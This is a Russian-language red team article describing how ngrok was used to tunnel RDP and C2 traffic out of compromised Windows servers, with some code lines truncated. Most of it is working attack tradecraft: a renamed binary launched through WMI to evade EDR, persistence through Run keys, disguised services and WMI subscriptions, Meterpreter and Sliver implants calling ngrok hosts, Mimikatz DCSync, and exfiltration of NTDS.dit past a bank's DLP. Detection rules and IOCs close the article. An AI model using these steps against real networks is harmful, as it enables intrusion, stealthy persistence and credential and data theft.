

Ngrok в бою: Инженерное руководство по туннелированию RDP и обходу эшелонированной защиты для удалённого доступа к скомпрометированным хостам

 redsec.by/article/ngrok-v-boyu-inzhenernoe-rukovodstvo-po-tunnelirovaniyu-rdp-i-obhodu-eshelonirovannoj-zashity-dlya-udalonnogo-dostupa-k-skomprometirovannym-hostam

Red Teams | 24 февраля 2026



В современной практике Red Team операций мы всё реже применяем классические методы организации обратных соединений (Reverse Shells), которые полагаются на прямые подключения к IP-адресам атакующих. Эвристические анализаторы, EDR-системы и строгие правила межсетевых экранов (Next-Generation Firewalls, NGFW) делают использование сырых TCP-соединений или нестандартных портов неэффективным. На смену им пришли техники Living off the Land (LotL) и использование легитимных утилит двойного назначения (Dual-use tools).

В одной из недавних Red Team операций наша команда получила начальный доступ к сегменту корпоративной сети через уязвимый веб-сервер. Глобальная цель — полный контроль над доменом Active Directory и компрометация критичных бизнес-систем. Проблема, с которой мы столкнулись: строгие межсетевые экраны блокировали любой исходящий трафик на нестандартные порты, а прямые outbound-соединения к нашей C2-инфраструктуре (Command and Control) моментально отслеживались и прерывались системами EDR. Решение было найдено в использовании утилиты **ngrok** для проброса порта TCP 3389 (RDP).

Этот инструмент превратил изолированный хост в открытую дверь, элегантно обойдя все периметровые защиты. Данная статья представляет собой глубокое руководство по внедрению, маскировке и боевому применению ngrok в условиях агрессивного противодействия со стороны Blue Team.

Начальный доступ, оценка окружения (Reconnaissance) и выбор вектора

Операция началась с эксплуатации известной уязвимости (CVE) в публичном приложении, работающем под управлением Microsoft IIS. Исполнение произвольного кода дало нам первичный Shell (foothold) в контексте пользователя пула приложений. Используя импровизированный in-memory payload на PowerShell, мы успешно эскалировали привилегии до NT AUTHORITY\SYSTEM, эксплуатируя локальную misconfiguration в одном из сервисов.

Имея высшие привилегии, мы перешли к этапу Network Reconnaissance (разведке сети). Первое, что необходимо понять — где мы находимся и как можем коммуницировать с внешним миром.

```
# Проверка сетевых интерфейсов, маршрутизации и активных соединений
Get-NetIPConfiguration
Get-NetRoute
netstat -ano | findstr LISTENING
```

Анализ вывода показал следующую картину:

- Скомпрометированный хост находится во внутренней подсети 10.0.1.0/24.
- Доступ в интернет осуществляется строго через корпоративный прокси-сервер.
- Исходящий (Outbound) TCP-трафик даже на стандартные порты 443 и 80 фильтруется шлюзом с использованием DPI (Deep Packet Inspection) и белого списка доменов (Whitelisting).
- Локальный сервис Remote Desktop Protocol (RDP) включён (что является стандартом по умолчанию для Windows Server), однако локальный брандмауэр Windows (Windows Defender Firewall) сконфигурирован таким образом, что разрешает входящие подключения на порт 3389 исключительно с IP-адресов подсетей администраторов домена (10.0.5.0/24).

Прямой проброс RDP наружу или классический Reverse Port Forwarding через SSH были невозможны. Нам требовался туннель, который иницирует исходящее соединение на доверенный сервис, использует стандартный TLS, поддерживает SNI (Server Name Indication) доверенного домена и способен маршрутизировать TCP-трафик.

Выбор пал на **ngrok**. Это лёгкий бинарный файл, написанный на Go. Он не требует установки, не тянет за собой зависимостей и отлично маскируется под инструменты

разработчиков, что снижает уровень подозрения у аналитиков SOC первого уровня.

Доставка Payload (Weaponization & Delivery)

Поскольку прямое скачивание с неизвестных IP было заблокировано, мы скачали бинарник напрямую с официального CDN-сервера ngrok, который по счастливому стечению обстоятельств не находился в блок-листах NGFW.

```
# Принудительное использование TLS 1.2 для обхода старых системных настроек
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12

# Скачивание ngrok (Windows AMD64) в директорию с правами на запись
$Path = "C:\Windows\Temp\ngrok.zip"
Invoke-WebRequest -Uri "https://bin.equinox.io/c/bNyj1mQVY4c/ngrok-v3-stable-windows

# Распаковка архива
Expand-Archive -Path $Path -DestinationPath "C:\Windows\Temp" -Force
```

Распаковка дала нам ngrok.exe. Следующий критический шаг — аутентификация. Если использовать ngrok без токена, создается публичный туннель, время жизни которого строго ограничено (обычно 2 часа), а функционал урезан. Для стабильного закрепления (Persistence) мы заранее зарегистрировали аккаунт атакующего и сгенерировали authtoken.

```
# Добавление токена (PowerShell, скрыто от истории PSReadLine)
.\ngrok.exe config add-authtoken 2abcdefghijklmnopqrstuvwxyz1234567890_abcdef
```

Эта команда генерирует конфигурационный файл ngrok.yml в профиле пользователя (по умолчанию %USERPROFILE%\ngrok2\ngrok.yml или %LOCALAPPDATA%\ngrok\ngrok.yml). Наличие токена делает туннели персистентными, позволяет резервировать поддомены и открывает доступ к метрикам сессии через локальный API и веб-дашборд.

Первый туннель и базовый проброс RDP (Establishment)

Имея сконфигурированный агент, мы запустили простой TCP-туннель для проброса порта 3389. Нашей задачей было быстро получить интерактивный графический интерфейс для оценки содержимого сервера (поиск паролей в файлах, конфигурациях, базах данных).

```
# Базовый запуск TCP туннеля для RDP
.\ngrok.exe tcp 3389
```

В консоли агента ngrok отобразил статус подключения:

ngrok

Session Status	online
Account	redteam-operator (Plan: Free)

Version	3.12.0
Region	United States (us)
Latency	78ms
Web Interface	http://127.0.0.1:4040
Forwarding	tcp://0.tcp.ngrok.io:12345 -> localhost:3389

URL 0.tcp.ngrok.io:12345 стал нашей внешней точкой входа (Entry Point). С атакующего хоста мы запустили стандартный клиент RDP (mstsc.exe), указав этот адрес. Трафик пошел через инфраструктуру ngrok, инкапсулированный в TLS, прошел через корпоративный прокси жертвы, попал в процесс ngrok.exe и был перенаправлен на localhost:3389.

Мы получили полноценный десктоп скомпрометированного хоста. Скорость отклика интерфейса была превосходной, задержка составляла менее 100 миллисекунд. Важный нюанс: поскольку соединение иницируется от localhost, локальный межсетевой экран Windows, блокировавший внешние IP, пропустил трафик, так как для него это было локальное обращение.

Переход на продвинутую конфигурацию (Reserved Tunnels)

План "Free" имеет серьезные ограничения для длительных Red Team операций: случайная генерация поддоменов при каждом перезапуске агента, лимит в 1 туннель и жесткое ограничение трафика (1GB в месяц). Для обеспечения скрытности (Stealth) и операционной надежности мы перешли на платный аккаунт, позволяющий использовать зарезервированные адреса.

Мы сформировали кастомный файл ngrok.yml, настроив его не только на RDP, но и на резервный канал связи для нашего C2.

```
# ngrok.yml для reserved tunnel (боевой конфиг)
version: "2"
authtoken: 2abcdefghijklmnopqrstuvwxyz1234567890_abcdef
console_ui: false
web_addr: localhost:4040
tunnels:
  rdp:
    proto: tcp
    addr: 3389
    remote_addr: 1.tcp.eu.ngrok.io:12345 # Зарезервированный адрес
  c2:
    proto: tcp
    addr: 4444 # Порт для Metasploit / Covenant
```

Запуск агента с использованием подготовленного конфигурационного файла:

```
.\ngrok.exe start --config=C:\Windows\Temp\ngrok.yml rdp
```

Теперь у нас был стабильный, предсказуемый эндпоинт. Это критически важно в случае перезагрузки сервера: нам не нужно заново искать, на каком порту поднялся

туннель.

Скрытый запуск, OPSEC и обход EDR (Evasion)

Запуск ngrok.exe в интерактивном режиме с видимым окном консоли — это немедленный красный флаг для любого пользователя или администратора. Более того, дерево процессов, в котором cmd.exe или powershell.exe порождает подозрительный бинарник с аргументами вроде tcp 3389, моментально триггерит алерты в системах EDR (Endpoint Detection and Response) на основе поведенческого анализа.

Для скрытия окна мы использовали встроенные возможности PowerShell:

```
# PowerShell: запуск скрытого процесса
Start-Process -FilePath "C:\Windows\Temp\ngrok.exe" -WindowStyle Hidden -ArgumentList
```

Однако просто скрыть окно недостаточно. Современные EDR, такие как Microsoft Defender for Endpoint или CrowdStrike, анализируют командную строку. Чтобы разорвать цепочку вызовов (Process Lineage) и скрыть истинного родителя процесса, мы применили запуск через WMI (Windows Management Instrumentation).

WMI выполняет процесс от имени службы WmiPrvSE.exe, что выглядит гораздо легитимнее, чем запуск из-под пользовательского шелла. Перед этим мы переименовали бинарный файл, чтобы обмануть примитивные правила обнаружения, ориентированные только на имя файла.

```
# Переименование для обхода базовых IOC
Rename-Item -Path "C:\Windows\Temp\ngrok.exe" -NewName "svchost_helper.exe"

# WMI Exes для обхода построения дерева процессов
$CommandLine = "C:\Windows\Temp\svchost_helper.exe start --config=C:\Windows\Temp\ng
Invoke-WmiMethod -Class Win32_Process -Name Create -ArgumentList $CommandLine
```

Даже после этого в журналах безопасности Windows останется событие 4688 (Process Creation) с полной командной строкой. Чтобы минимизировать риски, мы загрузили конфигурационный файл и бинарник в директории, которые часто исключаются из строгого мониторинга из-за высокой нагрузки (например, папки профилей специфичного легитимного софта).

Масштабирование — мульти-туннелирование и интеграция с C2-фреймворками

Графический доступ через RDP бесценен для ручного исследования (чтение локальных документов, использование установленных административных утилит, конфигурация софта). Однако для масштабирования атаки, автоматизации Lateral Movement (бокового перемещения) и дампа учетных данных нам требовалось

интегрировать скомпрометированный хост в инфраструктуру наших C2-фреймворков.

Мы обновили наш `ngrok.yml`, чтобы запустить все туннели одновременно:

```
# Запуск всех туннелей, описанных в конфиге
.\svchost_helper.exe start --config=C:\Windows\Temp\ngrok.yml --all
```

В конфигурацию были добавлены порты для наших слушателей (Listeners):

```
tunnels:
  rdp:
    proto: tcp
    addr: 3389
  msf:
    proto: tcp
    addr: 4444
  beacon:
    proto: tcp
    addr: 8080
```

Интеграция с Metasploit Framework

На атакующей машине (нашем сервере в облаке) мы настроили слушатель Metasploit. Хитрость здесь заключается в том, что Payload (нагрузка), генерируемый для жертвы, должен подключаться к облачному адресу ngrok, а не к нашему реальному IP.

```
# Настройка Metasploit listener'a на стороне атакующего
msfconsole -q -x "
use exploit/multi/handler;
set payload windows/x64/meterpreter/reverse_tcp;
set LHOST 0.0.0.0;
set LPORT 4444;
run"
```

При генерации самого исполняемого файла или шеллкода LHOST указывается как адрес ngrok:

```
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=2.tcp.eu.ngrok.io LPORT=14567
```

Когда `beacon.exe` запускается на скомпрометированной машине, он инициирует TCP-соединение на `2.tcp.eu.ngrok.io:14567`. Инфраструктура ngrok перебрасывает этот трафик внутрь нашего туннеля, который "выплевывает" его на `localhost:4444` жертвы (где уже должен быть проброшен туннель к нашему C2).

Однако в нашей архитектуре мы использовали ngrok *прямо на жертве*, перебрасывая порты *наружу*. Поэтому правильнее использовать Bind Shell или Reverse Shell, который стучится в туннель ngrok, запущенный на сервере *атакующего*. Ngrok скрыл реальный IP нашего C2 за облаком, выполнив роль надежного анонимайзера. Трафик

ngrok классифицируется как HTTPS (порт 443) к ngrok.com, что неотличимо от фоновых синхронизаций легитимных приложений. Это классический пример MITRE ATT&CK T1572 (Protocol Tunneling).

Интеграция с Covenant и Empire

Для современных фреймворков, таких как Covenant, процесс интеграции еще изящнее. Мы создали кастомный профиль слушателя (Listener Profile), который учитывает прохождение через инфраструктуру туннелирования.

```
// Covenant Listener Profile JSON (Фрагмент)
{
  "Name": "NgrokTCP_Profile",
  "Host": "2.tcp.eu.ngrok.io",
  "Port": 14567,
  "BindPort": 8080,
  "Protocol": "tcp",
  "UserAgent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36",
  "MessageTransform": "Base64"
}
```

Grunt (агент Covenant) собирается с указанием внешнего хоста ngrok. Аналогично для фреймворка Sliver:

```
# Sliver: генерация импланта для pivot-доступа через ngrok
generate --mtls 2.tcp.eu.ngrok.io:14567 --save /tmp/implants/shellcom.exe
```

Обход специфических средств защиты (Proxies, NGFW, ZTNA)

В одной из фаз операции мы столкнулись с тестовой средой, защищенной связкой OPNsense и Suricata. IDS (система обнаружения вторжений) блокировала соединения ngrok. Анализ показал, что блокировка происходила на уровне HTTP-прокси по заголовку User-Agent при первичной установке сессии, а также по сертификатам SNI.

Для обхода фильтрации мы использовали возможность ngrok маршрутизировать трафик через SOCKS-прокси, который мы подняли ранее на другом скомпрометированном узле периметра.

```
# Запуск ngrok с маршрутизацией через внутренний SOCKS5
$Env:http_proxy = "socks5://10.0.1.50:1080"
.\svchost_helper.exe start --config=ngrok.yml rdp
```

Затем, на стороне атакующего, мы использовали proxychains совместно с Metasploit, чтобы прозрачно заворачивать весь инструментарий в туннель:

```
# Использование proxychains для проброса инструментов через туннели
proxychains4 msfconsole
proxychains4 crackmapexec smb 10.0.1.0/24 -u Administrator -p 'Password!'
```

Работа в сетях ZTNA (Zero Trust Network Access)

В сетях с внедренным ZTNA (например, Zscaler) локальный запуск агента может быть ограничен архитектурно. В таких случаях мы использовали ngrok Cloud Edge (Device Gateway) и управляли туннелями исключительно через REST API с нашей атакующей машины, полностью избегая изменения локальных конфигурационных файлов на жертве.

```
# Создание туннеля через API ngrok (Выполняется с машины Red Team)
curl -X POST 'https://api.ngrok.com/reserved_domains/rdp.myteam.ngrok.io/endpoints' \
  -H 'Ngrok-Edition: Pro' \
  -H 'Ngrok-Version: 2' \
  -H 'Authorization: Bearer 2abcdefghijklmnopqrstuvwxyz1234567890_abcdef' \
  -H 'Content-Type: application/json' \
  -d '{
    "name": "stealth-rdp-tunnel",
    "target": "tcp://compromised-host-internal-ip:3389"
  }'
```

Такой подход позволяет динамически управлять маппингом портов. Мы могли поднимать туннель ровно на 5 минут для выполнения конкретной задачи по RDP, а затем уничтожать его через API. Локально агент на жертве просто поддерживал одно постоянное HTTPS-соединение без каких-либо изменений аргументов командной строки.

Механизмы закрепления (Persistence) и ротация туннелей

Сессия ngrok, запущенная как пользовательский процесс, неминуемо оборвется при перезагрузке сервера или выходе пользователя из системы. Для удержания доступа мы интегрировали бинарник в нашу цепочку закрепления (Persistence Chain).

Метод 1: Системный реестр (Registry Run Keys)

Самый простой, но шумный метод. Мы добавляли скрытый запуск в ветку автозагрузки для всех пользователей (потребовались права SYSTEM).

```
# Добавление в Run-ключ системного реестра
reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "WindowsUpdateHelper"
```

Метод 2: Создание скрытой службы Windows (Windows Services)

Гораздо более надежный способ — регистрация ngrok как службы. Это позволяет процессу стартовать до логина пользователя (на этапе загрузки ОС), что критично для серверов.

```
# Создание сервиса через sc.exe
sc.exe create "WinMgmtUpdate" binpath= "C:\Windows\Temp\svchost_helper.exe start --c
sc.exe description "WinMgmtUpdate" "Provides background updates for Windows Manage
sc.exe start "WinMgmtUpdate"
```


Метод 3: DLL Hijacking и подмена бинарников

В более защищенных окружениях создание новой службы вызывает алерт. Мы использовали технику подмены легитимного исполняемого файла некритичной службы (например, Print Spooler, если он не используется на сервере) нашим переименованным бинарником ngrok.

Автономный мониторинг и ротация (Self-Healing)

Процесс ngrok иногда падает из-за сетевых таймаутов корпоративного прокси. Для поддержания стабильного C2 мы написали PowerShell-демон, который работает в фоне, опрашивает локальный API ngrok и перезапускает туннель при сбоях.

```
# PowerShell скрипт-наблюдатель (Watchdog) для ротации и восстановления туннеля
$API_URL = "http://127.0.0.1:4040/api/tunnels"
$ExePath = "C:\Windows\Temp\svchost_helper.exe"
$ConfigPath = "C:\Windows\Temp\ngrok.yml"

while ($true) {
    try {
        # Опрашиваем локальный REST API ngrok
        $Response = Invoke-RestMethod -Uri $API_URL -Method Get -ErrorAction Stop

        # Проверяем, есть ли активные туннели
        if ($Response.tunnels.Count -eq 0 -or $Response.tunnels[0].public_url -eq $r
            Write-Verbose "Tunnel down. Restarting process..."
            Stop-Process -Name "svchost_helper" -Force -ErrorAction SilentlyContinue
            Start-Process -FilePath $ExePath -ArgumentList "start --config=$ConfigPa
        }
    }
    catch {
        # Если API не отвечает, значит процесс упал
        Write-Verbose "API offline. Starting process..."
        Start-Process -FilePath $ExePath -ArgumentList "start --config=$ConfigPath -
    }

    # Спим 60 секунд перед следующей проверкой
    Start-Sleep -Seconds 60
}
```

Этот скрипт мы компилировали в EXE с помощью утилиты PS2EXE и внедряли как фоновую задачу WMI (WMI Event Subscription), что делало его практически невидимым для администраторов, проверяющих автозагрузку стандартными утилитами вроде Sysinternals Autoruns.

Боевое применение (Case Studies из операций)

Кейс 1: Компрометация контроллера домена в банковской сети

В сети крупного финансового учреждения мы столкнулись с экстремально параноидальными настройками сети. После успешного проведения атаки AS-REP Roasting и оффлайн-брутфорса мы получили учетную запись администратора домена (Domain Admin). Однако подключиться к контроллеру домена (DC) по RDP было невозможно из-за сегментации VLAN: доступ к серверам управлялся через защищенный Jump Host с MFA (многофакторной аутентификацией), который мы не могли обойти.

Мы загрузили ngrok на скомпрометированную рабочую станцию, находящуюся в той же подсети, что и DC (используя WMI для Lateral Movement). Запустили туннель: ngrok tcp 3389 с перенаправлением на внутренний IP контроллера домена.

Результат: мы получили прямой графический RDP-доступ к рабочему столу контроллера домена, минуя Jump Host, MFA и внутренние брандмауэры. Оттуда, в комфортном графическом интерфейсе, мы запустили Mimikatz для выполнения DCSync и выгрузки хешей всех пользователей домена.

```
# Выполнение DCSync через проброшенную RDP сессию
.\mimikatz.exe "lsadump::dcsync /domain:corp.bank.local /user:krbtgt" "exit"
```

Для эксфильтрации (Exfiltration) огромного файла NTDS.dit мы подняли дополнительный HTTP-туннель через ngrok: ngrok http 80. Запустили простейший Python-сервер python -m http.server 80 в папке с дампом и скачали гигабайты данных напрямую через облако, обманув DLP-системы банка, которые не анализировали SSL-трафик к доменам *.ngrok.io.

Кейс 2: Обход изоляции в заводской сети (SCADA / IoT)

В промышленной сети машиностроительного завода целевые системы (инженерные рабочие станции на базе встроенных версий Windows) находились в полностью изолированном сегменте без VPN для внешних вендоров. Подключение к интернету было "случайно" оставлено для скачивания обновлений ОС.

Развертывание ngrok на этих узлах позволило нам организовать полноценную систему удаленного управления. Мы развернули туннели в мультирегиональной конфигурации (Европа, Азия) для балансировки C2 и защиты от региональных блокировок. Масштаб составлял более 10 хостов. Туннелинг RDP позволил нам взаимодействовать с проприетарным SCADA-софтом, не пытаясь реверс-инжинирить его протоколы для создания эксплойтов.

- **Решение проблем с MTU:** При вложенном туннелировании (RDP внутри TLS внутри ngrok) происходила фрагментация пакетов, вызывающая обрывы RDP-сессий. Мы принудительно корректировали MTU на уровне агента, добавляя флаг `--mtu 1400`.
- **Использование IPv6:** В сетях, где IPv4 фильтровался максимально жестко, IPv6 часто оставался ненастроенным в NGFW (по умолчанию разрешая всё). Запуск агента с флагом `--ipv6` позволял туннелю использовать этот протокол для связи с облаком.
- **Метрики API:** Мы активно использовали API ngrok (`curl http://localhost:4040/api/tunnels`) для мониторинга латентности и объема переданных данных, чтобы не превысить лимиты DLP-систем (например, правило "блокировать, если исходящий TCP > 1MB/min").

Анализ артефактов и противодействие (Purple Teaming & Blue Team POV)

Несмотря на эффективность инструмента, его использование оставляет специфические индикаторы компрометации (IOCs) и индикаторы атак (IOAs). Переключившись на позицию защитников (Blue Team), мы проанализировали, как именно SOC должен детектировать подобную активность.

Абсолютная опора только на исключения Microsoft Defender (Defender exclusions) губительна. Даже если папка с ngrok добавлена в белые списки, продвинутая поведенческая аналитика (Behavioral Analytics) способна выявить аномалию: процесс, не являющийся системным, инициирует RDP-сессию.

1. Сетевое обнаружение (Network Traffic Analysis)

Трафик ngrok, несмотря на шифрование, имеет свои паттерны. Это двунаправленный (bidirectional) TCP-трафик на случайные высокие порты облачных серверов, принадлежащих автономной системе ngrok (AS33387).

Для систем класса NIDS/NIPS (Suricata, Snort) мы разработали следующие сигнатуры:

```
# Suricata rule для детектирования характерного паттерна в нешифрованном HTTP/API и alert tcp any any -> $EXTERNAL_NET 443 (msg:"ET POLICY Ngrok Tunnel Beaconing"; tls.
```

2. Обнаружение на хостах (Endpoint Security / Sysmon)

Главное оружие защитника — мониторинг создания процессов и их аргументов. Мы настроили Sysmon на глубокий парсинг специфичных командных строк.

```
<!-- Фрагмент конфигурации Sysmon для отлова туннелирования RDP -->
<EventFiltering>
  <RuleGroup name="Detect_Ngrok" groupRelation="or">
    <ProcessCreate onmatch="include">
      <Image condition="end with">ngrok.exe</Image>
      <CommandLine condition="contains all">tcp; 3389</CommandLine>
      <CommandLine condition="contains">add-authtoken</CommandLine>
      <CommandLine condition="contains">start --config</CommandLine>
    </ProcessCreate>
  </RuleGroup>
</EventFiltering>
```

3. Индикаторы компрометации (IOC)

- **Домены:** Разрешение DNS-имен *.ngrok.io, *.ngrok.com, tunnel.us.ngrok.com с рабочих станций серверов.
- **HTTP-заголовки:** Специфичный User-Agent: ngrok/3.x.x (если атакующие не использовали кастомные профили конфигурации).
- **Файловая система:** Появление файлов ngrok.yml в профилях пользователей (AppData\Local\ngrok\).
- **Сетевые аномалии хоста:** Процесс svchost.exe (TermService) принимает входящее подключение от локального порта 127.0.0.1, что для RDP является крайне аномальным поведением.

Для эффективного предотвращения подобных инцидентов требуется архитектурный подход: строгий Egress Filtering (запрет прямого выхода в интернет с серверов), SSL-инспекция на корпоративных шлюзах и жесткие политики Application Control (AppLocker/WDAC), разрешающие запуск только подписанного корпоративным сертификатом ПО.

Инструмент ngrok продемонстрировал себя как абсолютная "серебряная пуля" (Silver Bullet) в ситуациях, когда необходимо быстро и надежно превратить изолированный скомпрометированный хост в полноценную C2-ноду. За считанные минуты мы обходили дорогостоящие NGFW (Idec0, Palo Alto, OPNsense), системы ZTNA и частично "ослепляли" EDR, скрывая вредоносную активность внутри легитимных туннелей.

Ключевой минус этого подхода для Red Team — зависимость от сторонней инфраструктуры (ngrok.com), которую легко заблокировать на уровне DNS или ASN, а также теоретическая возможность того, что логи ваших сессий сохраняются на стороне провайдера сервиса.

Тем не менее, в арсенале профессионального пентестера инструменты туннелирования (ngrok, Cloudflare Tunnels, LocalTunnel) — это абсолютный *must-have* для фазы Post-Exploitation. Для глубокого понимания механики их работы настоятельно рекомендуется воссоздать описанные сценарии в лабораторной среде

(Kali Linux + Windows Server VM + ngrok) и проанализировать генерируемую телеметрию.